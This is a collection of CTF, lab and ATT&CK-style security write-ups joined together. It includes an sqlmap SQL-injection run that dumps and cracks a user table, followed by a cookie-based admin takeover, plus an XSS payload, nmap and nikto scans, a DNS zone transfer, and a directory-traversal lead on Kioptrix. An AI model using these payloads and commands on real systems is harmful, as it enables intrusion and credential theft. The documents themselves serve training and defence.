[13:11:48] [INFO] confirming that GET parameter 'id' is dynamic
[13:11:48] [INFO] GET parameter 'id' is dynamic
[13:11:49] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[13:11:50] [INFO] testing for SQL injection on GET parameter 'id'
[13:11:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:11:53] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="we")
[13:11:56] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[13:12:04] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[13:12:04] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[13:12:04] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[13:12:05] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[13:12:05] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[13:12:05] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[13:12:06] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[13:12:06] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[13:12:06] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[13:12:06] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[13:12:07] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[13:12:07] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[13:12:07] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[13:12:08] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[13:12:08] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[13:12:09] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[13:12:09] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[13:12:09] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[13:12:09] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[13:12:09] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[13:12:09] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[13:12:09] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[13:12:09] [INFO] testing 'MySQL inline queries'
[13:12:09] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[13:12:10] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[13:12:10] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[13:12:10] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[13:12:11] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[13:12:11] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[13:12:11] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[13:12:22] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
[13:12:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:12:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[13:12:23] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[13:12:24] [INFO] target URL appears to have 6 columns in query
[13:12:29] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 71 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 9974=9974 AND 'Xjtp'='Xjtp
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'BISW'='BISW
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=-1437' UNION ALL SELECT NULL,NULL,CONCAT(0x71766b7871,0x7976526e7667585057775948464a614a44427758585a6442564e75716b434452534247514b516a43,0x716b7a6271),NULL,NULL,NULL-- QTjl
---
[13:12:34] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12
[13:12:34] [INFO] fetched data logged to text files under '/root/.sqlmap/output/web6.tamuctf.com'
[*] shutting down at 13:12:34
```
SQLMap confirmed that the service is vulnerable. Let's extract the data:
```console
root@kali:/media/sf_CTFs/tamu/1337_Secur1ty# sqlmap -u http://web6.tamuctf.com/message?id=2 --dbs
___
__H__
___ ___[']_____ ___ ___ {1.2.5#stable}
|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 13:13:54
[13:13:54] [INFO] resuming back-end DBMS 'mysql'
[13:13:54] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 9974=9974 AND 'Xjtp'='Xjtp
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'BISW'='BISW
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=-1437' UNION ALL SELECT NULL,NULL,CONCAT(0x71766b7871,0x7976526e7667585057775948464a614a44427758585a6442564e75716b434452534247514b516a43,0x716b7a6271),NULL,NULL,NULL-- QTjl
---
[13:13:55] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12
[13:13:55] [INFO] fetching database names
[13:13:55] [INFO] used SQL query returns 2 entries
[13:13:55] [INFO] retrieved: information_schema
[13:13:56] [INFO] retrieved: 1337_Secur1ty
available databases [2]:
[*] 1337_Secur1ty
[*] information_schema
[13:13:56] [INFO] fetched data logged to text files under '/root/.sqlmap/output/web6.tamuctf.com'
[*] shutting down at 13:13:56
root@kali:/media/sf_CTFs/tamu/1337_Secur1ty# sqlmap -u http://web6.tamuctf.com/message?id=2 -D 1337_Secur1ty --tables
___
__H__
___ ___[(]_____ ___ ___ {1.2.5#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 13:14:21
[13:14:21] [INFO] resuming back-end DBMS 'mysql'
[13:14:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 9974=9974 AND 'Xjtp'='Xjtp
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'BISW'='BISW
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=-1437' UNION ALL SELECT NULL,NULL,CONCAT(0x71766b7871,0x7976526e7667585057775948464a614a44427758585a6442564e75716b434452534247514b516a43,0x716b7a6271),NULL,NULL,NULL-- QTjl
---
[13:14:22] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12
[13:14:22] [INFO] fetching tables for database: '1337_Secur1ty'
[13:14:22] [INFO] used SQL query returns 2 entries
[13:14:22] [INFO] retrieved: Messages
[13:14:22] [INFO] retrieved: Users
Database: 1337_Secur1ty
[2 tables]
+----------+
| Messages |
| Users |
+----------+
[13:14:23] [INFO] fetched data logged to text files under '/root/.sqlmap/output/web6.tamuctf.com'
[*] shutting down at 13:14:23
root@kali:/media/sf_CTFs/tamu/1337_Secur1ty# sqlmap -u http://web6.tamuctf.com/message?id=2 -D 1337_Secur1ty -T Users --dump
___
__H__
___ ___[(]_____ ___ ___ {1.2.5#stable}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 13:14:47
[13:14:47] [INFO] resuming back-end DBMS 'mysql'
[13:14:48] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 9974=9974 AND 'Xjtp'='Xjtp
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'BISW'='BISW
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=-1437' UNION ALL SELECT NULL,NULL,CONCAT(0x71766b7871,0x7976526e7667585057775948464a614a44427758585a6442564e75716b434452534247514b516a43,0x716b7a6271),NULL,NULL,NULL-- QTjl
---
[13:14:48] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12
[13:14:48] [INFO] fetching columns for table 'Users' in database '1337_Secur1ty'
[13:14:48] [INFO] used SQL query returns 10 entries
[13:14:49] [INFO] retrieved: "UserID","int(9)"
[13:14:49] [INFO] retrieved: "Username","varchar(20)"
[13:14:49] [INFO] retrieved: "Password","varchar(50)"
[13:14:50] [INFO] retrieved: "FirstName","varchar(10)"
[13:14:50] [INFO] retrieved: "LastName","varchar(15)"
[13:14:50] [INFO] retrieved: "Phone","varchar(10)"
[13:14:51] [INFO] retrieved: "Email","varchar(37)"
[13:14:51] [INFO] retrieved: "Description","varchar(200)"
[13:14:51] [INFO] retrieved: "CreateDate","datetime"
[13:14:52] [INFO] retrieved: "Secret","varchar(50)"
[13:14:52] [INFO] fetching entries for table 'Users' in database '1337_Secur1ty'
[13:14:52] [INFO] used SQL query returns 3 entries
[13:14:52] [INFO] retrieved: "2019-03-09 11:02:22","Most secure admin to ever grace existence.","1337-admin@l337secur1ty.hak","Joe","Joeson","02ca0b0603222a090fe2fbf3ba97d90c","","W...
[13:14:53] [INFO] retrieved: "2019-03-09 11:02:22","That random intern.","ScrubLord@l337secur1ty.hak","Bob","Bobson","fc8b8be2abe4a79bf6f36eee484c1f08","","4VCLO52ALSUUO5OM","2","Sc...
[13:14:53] [INFO] retrieved: "2019-03-09 11:06:15","","aa@1337secur1ty.hak","a","a","0cc175b9c0f1b6a831c399e269772661","1234567891","TKH4FPK7FOEXG7VW","3","aa"
[13:14:53] [INFO] recognized possible password hashes in column 'Password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[13:15:03] [INFO] writing hashes to a temporary file '/tmp/sqlmaprdJTp31805/sqlmaphashes-Awosz3.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[13:15:07] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
[13:15:13] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] n
[13:15:18] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[13:15:18] [WARNING] multiprocessing hash cracking is currently not supported on this platform
[13:15:27] [INFO] cracked password 'a' for user 'aa'
Database: 1337_Secur1ty
Table: Users
[3 entries]
+--------+------------+-----------------------------+------------------+------------+----------+--------------------------------------+-----------+---------------------+--------------------------------------------+
| UserID | Phone | Email | Secret | Username | LastName | Password | FirstName | CreateDate | Description |
+--------+------------+-----------------------------+------------------+------------+----------+--------------------------------------+-----------+---------------------+--------------------------------------------+
| 1 | <blank> | 1337-admin@l337secur1ty.hak | WIFHXDZ3BOHJMJSC | 1337-admin | Joeson | 02ca0b0603222a090fe2fbf3ba97d90c | Joe | 2019-03-09 11:02:22 | Most secure admin to ever grace existence. |
| 2 | <blank> | ScrubLord@l337secur1ty.hak | 4VCLO52ALSUUO5OM | ScrubLord | Bobson | fc8b8be2abe4a79bf6f36eee484c1f08 | Bob | 2019-03-09 11:02:22 | That random intern. |
| 3 | 1234567891 | aa@1337secur1ty.hak | TKH4FPK7FOEXG7VW | aa | a | 0cc175b9c0f1b6a831c399e269772661 (a) | a | 2019-03-09 11:06:15 | <blank> |
+--------+------------+-----------------------------+------------------+------------+----------+--------------------------------------+-----------+---------------------+--------------------------------------------+
[13:16:09] [INFO] table '`1337_Secur1ty`.Users' dumped to CSV file '/root/.sqlmap/output/web6.tamuctf.com/dump/1337_Secur1ty/Users.csv'
[13:16:09] [INFO] fetched data logged to text files under '/root/.sqlmap/output/web6.tamuctf.com'
[*] shutting down at 13:16:09
```
We have the username, secret and hash of the password for each of the users. SQLMap was even able to crack the hash of our user. So if we can crack the hash of the admin, we have everything we need in order to sign in as admins ourselves.
But is there an easier way? What if we replace our cookie values with the admin's values?
```console
root@kali:/media/sf_CTFs/tamu/1337_Secur1ty# curl --cookie "secret=WIFHXDZ3BOHJMJSC;userid=1" http://web6.tamuctf.com/
...
<div id="Profile" class="tabcontent">
<img src="https://chart.googleapis.com/chart?chs=200x200&chld=M|0&cht=qr&chl=otpauth%3A%2F%2Ftotp%2FTAMU_CTF%3Fsecret%3DWIFHXDZ3BOHJMJSC" align="right"/>
<b>Name:</b> Joe Joeson<br style='margin-bottom:10px'>
<b>Username:</b> 1337-admin<br style='margin-bottom:10px'>
<b>Phone:</b> *<br style='margin-bottom:10px'>
<b>Email:</b> 1337-admin@l337secur1ty.hak<br style='margin-bottom:10px'>
<b>Account Created On:</b> 03/09/19 11:02<br style='margin-bottom:10px'>
<b>Description:</b> Most secure admin to ever grace existence.<br style='margin-bottom:10px'>
<b>Flag:</b> gigem{th3_T0tp_1s_we4k_w1tH_yoU}<br><br>
...
root@kali:/media/sf_CTFs/tamu/1337_Secur1ty# curl -s --cookie "secret=WIFHXDZ3BOHJMJSC;userid=1" http://web6.tamuctf.com/ | egrep -o "gigem{[^}]+}"
gigem{th3_T0tp_1s_we4k_w1tH_yoU}
```
Looks like breaking the hash wasn't needed at all (although it wasn't a hard task either - `02ca0b0603222a090fe2fbf3ba97d90c = md5(secretpasscode)`).
|
sec-knowleage
|
# 11011001, reverse, 255p
> 0100111001101111001000000110100001101001011011100111010000100000011010000110010101110010011001010010110000100000011101110110100001100001011101000010000001100001011100100110010100100000011110010110111101110101001000000110010101111000011100000110010101100011011101000110100101101110011001110010000001100110011011110111001000111111
The hint is useless, so we've got to reverse the binary. The binary expects 20 integers from us, on which it performs some checks.
The most useful way to visualize the input is 20x20 binary matrix with the following rules:
* each column and row has 10 ones and 10 zeroes
* no column or row can have three consecutive ones or zeroes in a row
* no column can repeat
* no row can repeat
* there are some bits that are fixed to one or zero
I actually missed the last two rules accidentally, but it appears my solver got the unique solution anyway.
The riddle is a bit similar to sudoku, so I implemented a backtracking solver in Python. Whenever one of the squares is forced to be 0 or 1,
we put it; otherwise, we just simulate both options for an arbitrary square. I guess if I implemented all the rules, guessing would not be necessary...
```python3
known = [
0x81002, 0x1000, 0x29065, 0x29061, 0x2, 2, 0x16C40, 0x16C00,
0x20905, 0x805, 0x10220, 0x220, 0x98868, 0x80860, 0x21102,
0x21000, 0x491, 0x481, 0x31140, 0x1000, 0x801, 0x0, 0x60405,
0x400, 0x0C860, 0x60, 0x508, 0x400, 0x40900, 0x800, 0x12213,
0x10003, 0x428C0, 0x840, 0x840C, 0x0C, 0x43500, 0x2000, 0x8105A,
0x1000,]
def is_good(board):
for row in board:
cnt1, cnt0 = 0, 0
prev2, prev = None, None
for x in row:
if x == "1":
cnt1 += 1
if x == "0":
cnt0 += 1
if x == prev and prev == prev2 and prev in "01":
return False
prev2, prev = prev, x
if cnt1 > 10 or cnt0 > 10:
return False
for col in range(20):
cnt1, cnt0 = 0, 0
prev2, prev = None, None
for row in board:
if row[col] == "1":
cnt1 += 1
if row[col] == "0":
cnt0 += 1
if row[col] == prev and prev == prev2 and prev in "01":
return False
prev2, prev = prev, row[col]
if cnt1 > 10 or cnt0 > 10:
return False
return True
board = [["."]*20 for i in range(20)]
for i in range(20):
mask = known[2*i]
res = known[2*i+1]
print("{:020b}".format(mask))
print("{:020b}".format(res))
print()
for j in range(20):
if (1<<j)&mask:
board[i][j] = str((res>>j)&1)
for row in board:
print("".join(row))
def dfs():
missing = 0
for i in range(20):
for j in range(20):
if board[i][j] not in "01":
missing += 1
board[i][j] = "0"
n0 = is_good(board)
board[i][j] = "1"
n1 = is_good(board)
board[i][j] = "."
if n0 == False and n1 == False:
return False
if n0 == True and n1 == False:
board[i][j] = "0"
r = dfs()
board[i][j] = "."
return r
if n0 == False and n1 == True:
board[i][j] = "1"
r = dfs()
board[i][j] = "."
return r
print(missing)
for i in range(20):
for j in range(20):
if board[i][j] not in "01":
board[i][j] = "0"
n0 = dfs()
board[i][j] = "1"
n1 = dfs()
board[i][j] = "."
return n0 or n1
print(board)
raise Exception("asd")
dfs()
```
|
sec-knowleage
|
# Petshop Pro - FLAG2
## 0x00 Admin Index
## 0x01 Edit Page
Insert with XSS code for all possible inputs.
``` js
<img src=x onerror=alert(1)>
```
## 0x02 FLAG
Add them into cart and go check the shopping cart.
|
sec-knowleage
|
# T1590-002-收集目标组织网络信息-DNS
## 来自ATT&CK的描述
在入侵受害者之前，攻击者可能会收集受害者DNS的信息。DNS信息可能包括各种详细信息，例如注册的名称服务器以及概述目标子域，邮件服务器和其他主机的地址的记录。
攻击者可以通过不同的方式收集这些信息，例如通过DNS/Passive DNS查询或以其他方式收集详细信息。凭证信息也可能通过在线或其他可访问的数据集（例如：搜索公开技术数据库）暴露给攻击者。收集这些信息可能为如下活动提供可能性：其他形式的侦察活动（例如：搜索公开技术数据库，搜索开放网站/域，或主动扫描），建立运营资源（例如：获取基础设施或入侵基础设施），或实现初始访问（例如：外部远程服务）。
## 测试案例
dnsdb: 全球DNS搜索引擎
viewdns.info: 令站长十分蛋疼的DNS历史记录网站，记录了几年内的更改记录。
securitytrails.com: 庞大的DNS历史数据库，我试了下可以查出几年内网站用过的IP、机房信息等，非常可怕。
在线网站查询
- dnsdb
- NETCRAFT
- viewdns
- threatbook
- securitytrails
## 检测日志
无法有效监测
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
许多此类攻击活动的发生率很高，并且相关的误报率也很高，并且有可能发生在目标组织的视野之外，从而使防御者难以发现。
检测工作可能会集中在攻击者生命周期的相关阶段，例如在"初始访问"阶段。
## 关联TIP
[[T1590-001-收集目标组织网络信息-域属性]]
[[T1590-003-收集目标组织网络信息-网络信任关系]]
[[T1590-004-收集目标组织网络信息-网络拓扑]]
[[T1590-005-收集目标组织网络信息-IP地址]]
[[T1590-006-收集目标组织网络信息-网络安全设备]]
## 参考推荐
MITRE-ATT&CK-T1590-002
<https://attack.mitre.org/techniques/T1590/002/>
DNS历史解析.白帽与安全
<https://www.kancloud.cn/noahs/src_hacker/2120650>
渗透测试之信息收集DNS篇
<https://blog.csdn.net/qq1124794084/article/details/78672225>
|
sec-knowleage
|
# 日志、告警和事件
> 什么是威胁情报的场景化和功能化，我们先来扯点别的。任何一次应急响应的起因都是因为出现了安全事件，而安全事件是从海量的安全告警中筛选出来的，而告警是从日志中按照各种各样的规则和模型抓取出来的非预期数据，而日志则对应着某一种行为的记录。画一张图表示就是下面这样，请记住这张图，未来一段时间你们可能还会看见它：[1]
>
> 
## 日志
对应某种行为的一种记录。[1]
## 告警
从日志中按照各种规则和模型抓取出的非预期数据。[1]
## 事件
安全事件是围绕着5W1H组织和描述的一整个过程：
- 对手是谁（Who），包括威胁行为体，赞助商和雇主
- 对手使用什么（What），包括他们的能力和基础设施
- 对手的行动时（When），确定行动的时间表和规律
- 对手的目的（Why），包括他们的动机和意图
- 对手的目标行业和地理区域（Where），详细说明行业，垂直行业和地理区域
- 对手如何运作（How），专注于他们的行为和规律
而在数据驱动安全的过程中，安全事件的产生往往是从告警数据中筛选出来的。在传统的安全事件调查中，分析师需要上机进行数据获取、整理，做一些初步的筛选，而这些在数据驱动安全的体系（也就是用了安全设备后）中，我们则可以直接从告警数据中获取相关线索，而这一步也是需要排除大量误报和其他干扰信息的。
## References
\[1] 从现状看威胁情报发展趋势，[e1knot](https://www.zhihu.com/people/elknot)，https://zhuanlan.zhihu.com/p/183993203
|
sec-knowleage
|
# T1595-001-主动扫描_扫描地址段
## 来自ATT&CK的描述
攻击者可能会在实施攻击前扫描IP地址块，收集可在确定攻击目标期间使用的信息。公有IP地址可以按块或是按一系列顺序地址分配给组织。
攻击者可能会扫描IP地址块，以便收集目标组织网络信息，例如哪些IP地址分配给了哪些主机使用以及这些主机的详细信息。扫描范围可以从简单的ping（ICMP请求和响应）到更细致的扫描（通过服务器banner或其他网络artifacts显示主机软件/版本）。扫描所获取的信息可能会触发其他形式的侦察行动（例如：搜索开放网站/域或搜索公开技术数据库），从而建立运营资源（例如：开发能力或获取能力），或实现初始访问（例如：外部远程服务）。
## 测试案例
常见扫描器
## 检测日志
HTTP流量
## 测试复现
nmap扫描网段内的所有IP地址
```yml
sudo nmap -sP -PI -PT 192.168.1.0/24
```
## 测试留痕
暂无实测，故无留痕
## 检测规则/思路
实际上，很难在真实的环境中发现此类行为。但是可以通过部署蜜罐来进行监测防御，当发现有攻击者访问了同一网段不同地址的蜜罐，产生告警行为，则说明可能存在扫描行为。值得引起安全人员的注意！
## 建议
监控可能存在扫描的可疑网络流量，例如来自单个源的大量流量（尤其是如果已知该源与攻击者或僵尸网络相关联）。分析Web访问数据也可能会发现潜在恶意活动的特征，例如referer值或HTTP/S中的user-agent字段里字符串。
许多此类攻击活动的发生率很高，并且相关的误报率也很高，并且有可能发生在目标组织的监测范围之外，从而使防御者难以发现。
检测工作可能会集中在攻击生命周期的相关阶段，例如在"初始访问"阶段。
## 相关TIP
[[T1595-002-主动扫描-漏洞扫描]]
## 参考推荐
MITRE-ATT&CK-T1595-001
<https://attack.mitre.org/techniques/T1595/001/>
常见扫描器或者自动化工具的特征（指纹）
<https://www.freebuf.com/column/156291.html>
|
sec-knowleage
|
# DNS域传送漏洞
DNS协议支持使用axfr类型的记录进行区域传送，用来解决主从同步的问题。如果管理员在配置DNS服务器的时候没有限制允许获取记录的来源，将会导致DNS域传送漏洞。
参考链接：
- https://www.acunetix.com/blog/articles/dns-zone-transfers-axfr/
- https://nmap.org/nsedoc/scripts/dns-zone-transfer.html
## 环境搭建
Vulhub使用[Bind9](https://wiki.debian.org/Bind9)来搭建dns服务器，但不代表只有Bind9支持AXFR记录。运行DNS服务器：
```
docker compose up -d
```
环境运行后，将会监听TCP和UDP的53端口，DNS协议同时支持从这两个端口进行数据传输。
## 漏洞复现
在Linux下，我们可以使用dig命令来发送dns请求。比如，我们可以用`dig @your-ip www.vulhub.org`获取域名`www.vulhub.org`在目标dns服务器上的A记录：
发送axfr类型的dns请求：`dig @your-ip -t axfr vulhub.org`
可见，我获取到了`vulhub.org`的所有子域名记录，这里存在DNS域传送漏洞。
我们也可以用nmap script来扫描该漏洞：`nmap --script dns-zone-transfer.nse --script-args "dns-zone-transfer.domain=vulhub.org" -Pn -p 53 your-ip`
|
sec-knowleage
|
# Kioptrix 2014
下载地址
```
https://download.vulnhub.com/kioptrix/kiop2014.tar.bz2
```
## 实战操作
使用netdiscover命令查找靶机的IP。 靶机下载下来之后，直接运行是检测不到IP地址的，需要删除靶机原来的网卡，再重新添加网卡上去。
靶机IP地址：`192.168.0.106`。
扫描靶机端口
```
┌──(root💀kali)-[~]
└─# nmap -sV -p1-65535 192.168.0.106
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-19 02:02 EST
Nmap scan report for 192.168.0.12
Host is up (0.00032s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
MAC Address: 00:0C:29:08:07:00 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.09 seconds
```
扫描80和8080端口，看看有啥东西。
```
┌──(root💀kali)-[~]
└─# nikto -h http://192.168.0.106/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.0.106
+ Target Hostname: 192.168.0.106
+ Target Port: 80
+ Start Time: 2021-12-19 02:05:06 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
+ Server may leak inodes via ETags, header found with file /, inode: 67014, size: 152, mtime: Sat Mar 29 13:22:52 2014
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OpenSSL/0.9.8q appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ PHP/5.3.8 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ 8724 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2021-12-19 02:06:29 (GMT-5) (83 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
┌──(root💀kali)-[~]
└─# nikto -h http://192.168.0.106:8080/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.0.106
+ Target Hostname: 192.168.0.106
+ Target Port: 8080
+ Start Time: 2021-12-19 02:07:31 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ OpenSSL/0.9.8q appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ PHP/5.3.8 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ 26546 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2021-12-19 02:11:41 (GMT-5) (250 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```
查看80端口
查看页面源代码，找到一个路径
 (1) (1) (1) (1) (1).png>)
访问这个目录
 (1) (1) (1) (1) (1) (1).png>)
google一下，这个版本的系统存在目录遍历漏洞，EXP
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
由于这个系统是freebsd，所以可以知道apache的位置
```
In FreeBSD, the main Apache HTTP Server configuration file is installed as /usr/local/etc/apache2 x /httpd.conf , where x represents the version number. This ASCII text file begins comment lines with a # . The most frequently modified directives are: ServerRoot "/usr/local"
```
看到配置文件，8080端口设置了一个环境变量，需要user-agent等于Mozilla/4.0，才可以访问。
 (1) (1) (1) (1) (1).png>)
